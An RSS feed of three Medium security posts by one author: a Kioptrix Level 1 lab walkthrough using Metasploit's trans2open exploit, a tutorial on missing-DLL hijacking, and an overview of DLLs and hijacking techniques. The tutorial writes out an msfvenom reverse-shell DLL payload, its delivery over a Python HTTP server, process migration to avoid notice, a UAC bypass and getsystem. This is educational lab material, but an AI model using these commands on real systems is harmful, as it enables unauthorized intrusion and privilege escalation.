<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mishqat Abid on Medium]]></title>
        <description><![CDATA[Stories by Mishqat Abid on Medium]]></description>
        <link>https://medium.com/@mishqat_abid?source=rss-ab9649ac3534------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*WAnkjcOUspbD0QW1aR1PWw.jpeg</url>
            <title>Stories by Mishqat Abid on Medium</title>
            <link>https://medium.com/@mishqat_abid?source=rss-ab9649ac3534------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 23:38:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mishqat_abid/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Kioptrix: Level 1 Walkthrough]]></title>
            <link>https://medium.com/@mishqat_abid/kioptrix-level-1-walkthrough-c2bf835f5a1f?source=rss-ab9649ac3534------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2bf835f5a1f</guid>
            <category><![CDATA[kioptrix-level-1]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[boot2root]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Mishqat Abid]]></dc:creator>
            <pubDate>Mon, 29 Jul 2024 18:04:29 GMT</pubDate>
            <atom:updated>2024-07-29T18:04:29.109Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KYNjo5Oo0QheEJbX.png" /></figure><pre>Machine: Kioptrix Level 1<br>Platform: VulnHub<br>Difficulty: Easy</pre><p>This machine can be found <a href="https://www.vulnhub.com/entry/kioptrix-level-1-1,22/">here</a>.</p><h3>Network Discovery:</h3><p>Fire up the Kioptrix VM and attacking machine (mine is Kali Linux). Go to the terminal and start the network discovery for your target: <strong>Kioptrix</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*wViM5W-sI6SEOi8YukBRCQ.png" /></figure><p>Use the following command:</p><pre>sudo arp-scan -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*x1zPohEbJclTmuDu6dAuDg.png" /><figcaption>Fig 1. Arp Scan</figcaption></figure><p>Now we have to get the IP of the target machine, let’s move forward</p><h3>Reconnaissance:</h3><p>Now we will scan the services running on the target IP obtained from the previous step. For this use the Nmap command:</p><pre>sudo nmap -A -sV -sS 192.168.78.131</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*N2EOqyhzm1BHJ3X9-C7Zbw.png" /><figcaption>Fig 2. Nmap Scan</figcaption></figure><p>This shows several services running on the target including ssh, http, smb, etc.</p><p>First I go to the web page as the <strong>http service </strong>is running but we get nothing much and it gives us a default test page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gyPsyE68Ac-PX6KmAEWYZg.png" /><figcaption>Fig 3. Default Webpage</figcaption></figure><p>So, I return to the Nmap scan results and look for other services and their versions. I’ve found a promising target for exploitation: the SMB service. Since the version is not disclosed, it’s time to proceed with our trusted tool, Metasploit.</p><pre>msfconsole</pre><p>Here I searched for the <strong>“scanner smb”</strong> auxiliary module to scan the target and get the running version of the smb service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7nwMTA1ZHLzv-2c0j0BEfw.png" /><figcaption>Fig 4. Finding module for smb version</figcaption></figure><p>Now I have found the scanner for the smb version, module 20 for the list, and then use it. Set the <strong>RHOST </strong>with the target IP <strong>192.168.78.131</strong> and then <strong>run</strong> the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*62m_8hyI19U6VlJLjdH7HQ.png" /><figcaption>Fig 5. Module setting</figcaption></figure><p>This shows the version of the Samba service that was — <strong>“Samba 2.2.1a”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*xjO_AffQvnoBxbaPyHvJvA.png" /><figcaption>Fig 6. SMB Version</figcaption></figure><p>Now we have got the version, it’s time to search for the available exploit to attack this. For this, I moved to Google and simply searched for the exploit for the Samba version. I got the result from the rapid 7 link with the name <strong>trans2open</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x9He4LgLwKVHPvZHeM2M8w.png" /><figcaption>Fig 7. Rapid 7 Results</figcaption></figure><h3>Exploitation:</h3><p>As the exploit is available on <strong>Rapid7</strong> it means that its module will surely be available on <strong>Metasploit</strong><br>Now I moved back to Metasploit and searched for the available exploit for <strong>“trans2open”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*eK94bCWO6fWCjUk0BfnHWg.png" /><figcaption>Fig 8. Metasploit Results</figcaption></figure><p>There are multiple exploits available, we have to choose Linux, which is <strong>number 1.</strong></p><ul><li>use exploit/linux/samba/trans2open or use 1</li><li>show options</li><li>set the RHOSTS with the target IP i.e. 192.168.78.131</li><li>set payload to<em> linux/x86/shell_reverse_tcp</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*9ceZMrLJ0Sijd1wyRqgzKg.png" /><figcaption>Fig 9. Exploit Settings</figcaption></figure><p>Now use the <strong>show options </strong>command to check that everything is set properly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*nWzm2g-W_dLuo8GgU7ehiQ.png" /><figcaption>Fig 10. Setting Verification</figcaption></figure><p>Then simply run the exploit and <strong>Voilà!</strong>, I get the root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*kuNecpYx3J9S252m8G_tTw.png" /><figcaption>Fig 11. Root Access</figcaption></figure><p>That’s it for this machine we have to gain <strong>root access</strong>. This can be done in numerous ways, this is one of them.</p><h3><strong>Happy Hacking ;)</strong></h3><p><strong><em>THANKS</em></strong></p><p><strong><em>MISHQAT ABID</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2bf835f5a1f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Missing DLL Hijacking]]></title>
            <link>https://medium.com/@mishqat_abid/missing-dll-hijacking-7fd91723629e?source=rss-ab9649ac3534------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fd91723629e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[dll-hijacking]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[Mishqat Abid]]></dc:creator>
            <pubDate>Sat, 06 Jul 2024 12:39:25 GMT</pubDate>
            <atom:updated>2024-07-06T12:39:25.162Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ssDV2N4hr1YZZfPStIKMlA.jpeg" /></figure><p>In this blog, I will demonstrate how to exploit missing DLL files and penetrating in the machine.</p><blockquote>What is Missing DLL Hijacking?</blockquote><h3>Finding Missing DLL Files:</h3><p>Process Monitor can be used to track down failed DLL loadings in the system. Here’s how to do it step by step:</p><ol><li>Download Process Monitor from<strong> </strong><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon"><strong>this official link</strong></a>.</li><li>Unzip the file.</li><li>Click on “<strong>pocmon.exe</strong>”.</li><li>After that you will see various processes going on. Click the blue filter button in the top left.</li><li>You need to add two filters. The first one is “<strong><em>Result is NAME NOT FOUND Includ</em>e</strong>” and the second one is “<strong><em>PATH ends with .dll Include</em></strong>”</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*yvQcpcJCXE08Xs-wqCkJrg.png" /><figcaption>Fig.1 — Add these two figures as a filter</figcaption></figure><p>Now you can see a list of missing DLL’s in various processes. These load failures can be exploited by attackers in DLL Hijacking.</p><h3>Exploiting Missing DLL Files:</h3><p>Lets take a scenario where you have found a vulnerable program in Windows that attempts to load a CFF ExplorerENU.dll from location of the program is installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*hYtYGJ8keZ3cTVTx4-bBHw.png" /><figcaption>Fig.2 — Process Monitor &amp; Missing DLL</figcaption></figure><p>In this figure, you can see that the process is trying to load a DLL from path “<strong><em>C:\Program Files\NTCore\Explorer Suite</em></strong><em>”, </em>which resulting in “<strong><em>NAME NOT FOUND</em></strong>” failure.</p><p>Now we will exploit it using <a href="https://www.offsec.com/metasploit-unleashed/msfvenom/"><strong>msfvenom</strong></a><strong> </strong>in <strong>Kali Linux</strong></p><h4>Step 1: Malicious Payload Creation using MSF venom</h4><p>To exploit the missing DLL files in the target machine, first we will setup the payload using msfvenom tool.</p><p>To create a payload, use the following command:</p><pre>msfvenom -p windows/meterpreter/reverse_tcp  -ax86 -f dll LHOST=192.168.1.115 LPoRT=4444 &gt; CFF_ExplorerENU.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*pr4HO81PVD_f34s5odMRSQ.png" /><figcaption>Fig.3 — Creating Payload</figcaption></figure><p>After that we can see the payload in the computer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*Cey8iTDWUfqN_z9PYEZ6zw.png" /><figcaption>Fig.4 — Generated Payload</figcaption></figure><p>This will be used to trick theWindows host to load this malicious payload instead of missing one.</p><h4>Step 2: Transferring the DLL File to the Target Host</h4><p>In this step, you need to place the payload on the victim machine. There are various methods to achieve this, and the choice is yours. For a virtual machine victim, you can simply use drag-and-drop. However, for a more realistic scenario, you could set up an HTTP server and download the payload on the victim machine, simulating a phishing attack.</p><p>In this example, I will be hosting a simple <strong>HTTP </strong>server using <strong>python3</strong> on kali and then assume that the victim has been tricked into downloading the malicious DLL instead of the missing DLL.</p><pre>python3 -m http.server --bind $Your_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*Vv43Z3vw2MTKUxHBjCtnng.png" /><figcaption>Fig.5 — Starting a Server</figcaption></figure><p>Now after the server goes live, victim Windows7 machine has downloaded and replaced the missing DLL with this evil DLL file in my scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*o90s4W0feRSIdbixyfkAOA.png" /><figcaption>Fig.6 — Server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*Q4vuYuvnlSdxrr3J54IGdw.png" /><figcaption>Fig.7 — Replaced DLL</figcaption></figure><h4>Step 3: Reverse shell using Metasploit</h4><p>Now after the payload has been delivered successfully, next we will start a <strong>metasploit </strong>and set it up to receive the sessions from the delivered payload.</p><ul><li>Start the metasploit using following command:</li></ul><pre>sudo msfconsole</pre><ul><li>Now use the multi/handler to get a meterpreter shell.</li></ul><pre>use multi/handler</pre><ul><li>Now we need to setup LHOST and LPORT.</li></ul><p>LHOST:</p><pre>set LHOST &lt;Your Local IP Address&gt;</pre><p>LPORT:</p><pre>set LPORT 4444</pre><ul><li>Now set the payload as</li></ul><pre>set payload windows/meterpreter/reverse_tcp</pre><ul><li>Now type show options to check whether all the options are set correctly.</li></ul><pre>show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*dZq0MQWSCjgdTgq_p6AT2w.png" /></figure><ul><li>Now we will run our exploit and start listening the victim machine to see whether the payload is activated or not.</li></ul><pre>exploit</pre><p>Now reverse tcp handler should be started on your specified LHOST address as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*Tq8Gazk1puwP-f6EbRWKhQ.png" /></figure><p>At this stage, everything is ready. To provide the attacker with a shell, the .exe file must be executed, which will load the DLL file into memory.</p><p>The victim machine then starts the CFF Explorer program, allowing the malicious DLL to run. Once the DLL file is executed, it will appear in the exploit process in Metasploit. Let’s check our Metasploit terminal after the victim machine runs the vulnerable program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*wVPV5PgxUo0sVYc4Cx8FzA.png" /></figure><p><strong><em>Got the meterpreter Shell !!!</em></strong></p><h4>Step 4: Privilege Escalation with meterpreter shell</h4><p>Now that we have successfully executed our payload and have an access to the system using meterpreter. Now let’s delve more into the system.</p><p>Let’s start from a simple command sysinfo to see the basic information about victim machine and to make sure that we are on right track.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*8wqmLk_CIyw9xQVUjhVQsA.png" /></figure><p>Type ps to see the list of active processes in victim machine. Look for admin privileged processes to migrate.</p><p><em>Using the </em><strong><em>migrate</em></strong><em> post module, you can migrate to another process on the victim.</em></p><p>After checking active processes using ps, we will need the <strong>PID</strong> of the process we want to use. For example Let’s try to migrate to <strong>taskhost.exe</strong> with a PID of <strong>1620.</strong></p><pre>migrate 1620</pre><p><strong>Why we migrate?</strong>: If a target system user thinks the process is strange, he can kill it, kicking us out of the system. Therefore, using the migrate command to switch to safer processes like explorer.exe, which do not draw attention, is a good idea.</p><p>After migrating you can use getpidcommand to see current process that you are working on.</p><p>getuidcommand will show the real user ID of the calling process. This way we can tell whether we have escalated privilages or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/0*fuf262wL5ROocOpC.png" /></figure><p>After entering the command we learn that our current username is WIN7/admin. Now we have got the admin access, we can even get the higher privileges than this too i.e. NT AUTHORITY/SYSTEM</p><p>Here is a method to gain elevated privilages using metasploit framework:</p><ul><li>Type background to send the current Meterpreter session to the background and return to the ‘msf’ prompt</li></ul><pre>background</pre><ul><li>enter “search local exploit suggester”. This is a post-exploitation module that you can use to check a system for <em>local</em> vulnerabilities.</li></ul><pre>search local exploit suggester</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*uYAaX8Pf1BbNQ_Tl9L5Kcw.png" /></figure><ul><li>Use Module 0</li></ul><pre>use 0</pre><ul><li>Now let’s look at the options</li></ul><pre>show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*xfv8OigJAHXfbzdTXDZKeg.png" /></figure><ul><li>As you can see, we need to set a SESSION. Check your active sessions by typing:</li></ul><pre>sessions</pre><p>After that we will see active session. We are going to use the session we have created using our DLL payload.</p><ul><li>Set the session</li></ul><pre>* set session 1</pre><ul><li>Run the payload</li></ul><pre>exploit</pre><p>Now you can see the list of vulnerabilities of the victim machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*iGseDN-IZBsvlpKpy58Huw.png" /></figure><ul><li>There are several vulnerabilities detected on the target system. I’m going to try <strong>“exploit/windows/local/bypassuac_eventvwr”.</strong></li></ul><pre>use exploit/windows/local/bypassuac_eventvwr</pre><ul><li>Now check what should be setup before running the exploit</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*W7x8FWGpQQt5IYPGkdm_zA.png" /></figure><ul><li>Now it is needed to set the session again and then exploit it</li></ul><pre>set session 1</pre><pre>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*XXm6taeaVwmTOmsjAv9eiQ.png" /></figure><p><strong>SUCCESS!!!</strong> A new session is created.</p><p>Now let’s type getsystem command to see if it works</p><blockquote>The GetSystem commands use a variety of privilege escalation techniques to give attackers access to the SYSTEM account of a victim. If it hasn’t already been loaded, we must first load the ‘priv’ extension (use privs)before using the getsystem command.</blockquote><pre>getsystem</pre><p>This command has worked effortlessly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*w2nMxq8wmRYalWew9TJQKg.png" /></figure><p>Use getuid again to see current username</p><pre>getuid</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*G_YSIDCwaUrLYX9bNj0VlQ.png" /></figure><p>Now it shows NT AUTHORITY\SYSTEM instead of WIN7\admin</p><p>This shows that <strong><em>PRIVILEGES HAVE BEEN ESCALATED</em></strong></p><p>DLL Hijacking is a vast topic, this is a short demonstration of exploiting missing DLL files. This is for Educational purposes ONLY.</p><p>Hope you Enjoyed it : )</p><p><strong><em>THANKS</em></strong></p><p><strong><em>MISHQAT ABID</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fd91723629e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DLL Files Basics & DLL Hijacking]]></title>
            <link>https://medium.com/@mishqat_abid/dll-files-basics-dll-hijacking-81a6e2519215?source=rss-ab9649ac3534------2</link>
            <guid isPermaLink="false">https://medium.com/p/81a6e2519215</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dll]]></category>
            <category><![CDATA[dll-hijacking]]></category>
            <dc:creator><![CDATA[Mishqat Abid]]></dc:creator>
            <pubDate>Wed, 31 Jan 2024 11:55:49 GMT</pubDate>
            <atom:updated>2024-01-31T11:55:49.117Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eyX6mMj0HNxuTOPTRjqT1Q.png" /></figure><p>In this blog, I will tell you about DLL Files, their working, and the basics of DLL Hijacking.</p><h3>What is a DLL File?</h3><p>A Dynamic Link Library (DLL) is a binary file format that stores compiled code and data, designed for dynamic linking during runtime. It enables the shared use of functions and resources by multiple programs on the Windows operating system.</p><p>DLL plays a crucial role in promoting code reusability, reducing redundancy, and optimizing memory. These files contain executable code, such as functions and procedures, as well as shared data that can be utilized by various applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*XCDkRqCyMr3waDBTZKAffg.png" /><figcaption>Example DLL File</figcaption></figure><p>DLLs support versioning to manage compatibility and may have dependencies on other DLLs. Their file format includes compiled machine code and additional information, contributing to efficient and modular software development on the Windows platform.</p><p>DLLs are crafted by developers who write custom code to execute specific functions. This code is typically written in C++ or C# and then compiled in a DLL file.</p><p>If you want to learn more about how to create your own DLC files see the official MS walkthrough below.</p><p><a href="https://learn.microsoft.com/en-us/cpp/build/walkthrough-creating-and-using-a-dynamic-link-library-cpp?view=msvc-170&amp;source=post_page-----ea60b0f2a1d8--------------------------------">Walkthrough: Create and use your own Dynamic Link Library (C++)</a></p><h3>DLL Working:</h3><p>We now know what is DLL and why it is used. Let’s move towards how a DLL works when you click a program that requires it step by step.</p><h4>Loading DLL in Memory</h4><p>When an executable (.exe) file is launched, the operating system (OS) takes the necessary steps to launch and run the associated program. As part of this process, the OS loads the program into the computer’s memory, allocating the required resources for its execution. In cases where the program relies on external code modules known as Dynamic Link Libraries (DLLs), the OS searches for these DLLs in various predefined locations.</p><p>These locations typically include the system directory, the program directory, and the current directory. Once the necessary DLL is found, the OS loads it into the memory space of the program. This allows the program to access the functions and resources provided by the DLL, facilitating modular code organization and reuse across multiple applications</p><h4>Linking of DLLs</h4><p>When you load a DLL in an application, there are two methods of linking to call the exported DLL functions. They are <strong><em>load-time dynamic linking</em></strong> and <strong><em>run-time dynamic linking.</em></strong></p><p><strong>Load Time Linking:</strong></p><ul><li>Load-time dynamic linking involves including references to DLL functions directly in the application’s code.</li><li>Load-time dynamic linking doesn’t merge DLL code during compile-time, allowing for independence in the compilation process.</li><li>Load-time dynamic linking promotes modularity by allowing programs to share DLLs, facilitating code reuse across different applications.</li><li>Updates to DLLs can be implemented without recompiling the main program, offering flexibility in maintaining and upgrading external libraries.</li><li>The linker resolves all the references to functions and variables in the DLL at compile time.</li><li>This means that the program can call functions in the DLL directly, without having to load the DLL into memory at runtime.</li><li>This makes the executable file bigger but makes the program faster.</li></ul><p><strong>Run Time Linking:</strong></p><ul><li>The links between the program and the DLL occur during the execution or run-time phase of the program.</li><li>The program contains references to DLL functions, but these references are resolved at runtime, allowing for more flexibility.</li><li>The linker does not resolve all the references to functions and variables in the DLL at compile time.</li><li>Instead, it creates a stub in the program’s executable file that calls the LoadLibraryEx function to load the DLL into memory at runtime.</li><li>The program can then call functions in the DLL by calling the GetProcAddress function to get the address of the function in the DLL.</li><li>This makes the program’s executable file smaller, but it also makes the program slower.</li></ul><h4>Search Order</h4><p>The DLL (Dynamic Link Library) search order refers to the sequence in which the operating system looks for dynamic link libraries when a program is launched and requires external DLLs to function.</p><p>It should be noted that when an application needs to load DLL it will go through the following order:</p><ul><li>The directory from which the application is loaded.</li><li>The system directory (i.e. <strong>“C:\Windows\System32”</strong>)</li><li>The Windows directory (i.e. <strong>“C:\Windows”</strong>)</li><li>The current working directory</li><li>Directories in the system <strong>PATH</strong> environment variable</li><li>Directories in the user <strong>PATH</strong> environment variable</li><li>The directories that are listed in the <strong>PATH </strong>environment variable</li></ul><p>Understanding the DLL search order is crucial for ensuring that the correct versions of DLLs are loaded, avoiding conflicts, and allowing applications to run smoothly with their required dependencies</p><h3>DLL Hijacking:</h3><p>DLL hijacking, also known as DLL injection or DLL sideloading, is a security vulnerability where malicious actors exploit the DLL search order to load a malicious DLL instead of the intended legitimate one. Attackers place their malicious DLLs in directories where the DLL Loader searches during the loading process, allowing them to execute unauthorized code when a vulnerable application is launched.</p><h4>Missing DLLs</h4><p>Missing DLL attacks occur when an attacker intentionally removes or alters a legitimate DLL, causing an application to fail when it attempts to load the missing or modified DLL. This can lead to system instability or exploitation opportunities for the attacker.</p><p>The attacker can even place the malicious DLL, in the place of the missing DLL which allows the program to load this DLL file and open a backdoor for the attacker.</p><h4>DLL Search Order Attack</h4><p>It exploits the order in which the operating system looks for DLLs when a program is launched. Attackers manipulate this order, placing malicious DLLs in directories with high priority in the search sequence to ensure their DLLs are loaded instead of legitimate ones.</p><h4>DLL Side Loading Attack</h4><p>DLL sideloading involves loading DLLs into a process in an unintended way. Instead of exploiting a vulnerability directly, attackers leverage a legitimate process that loads DLLs, allowing them to execute their code within the context of the process.</p><p>Attackers may directly side-load their payloads by putting a legitimate application in the search order of a program, then calling it to execute their payload(s), as opposed to just planting the DLL and waiting for the victim application to be executed.</p><h4>Phantom DLLs</h4><p>It works by placing a fake malicious DLL with a name similar to a legitimate one in a directory where a program searches for DLLs, potentially causing the program to load the malicious phantom DLL instead of the intended legitimate DLL.</p><h4>DLL Proxying</h4><p>DLL Proxying is a technique in which an attacker replaces a DLL with a Trojan version, renaming the original rather than deleting it. This Trojan DLL implements exclusively the functions which the attacker wishes to intercept/modify while forwarding all other functions to the original DLL, thus the name “Proxy”.</p><h4>DLL Replacement</h4><p>DLL replacement attacks involve replacing a legitimate DLL with a malicious one. Attackers may overwrite a DLL with their version, ensuring that the application unknowingly loads the malicious code when attempting to access the replaced DLL. It can be combined with DLL Proxying.</p><p>It’s important to note that users should exercise caution when dealing with DLL files, as incorrect handling can lead to system instability. Whenever possible, relying on official sources and software updates is recommended to maintain a secure and functional computing environment.</p><p>That’s all from my side. Hope it helps.</p><p><strong><em>THANKS</em></strong></p><p><strong><em>MISHQAT ABID</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81a6e2519215" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>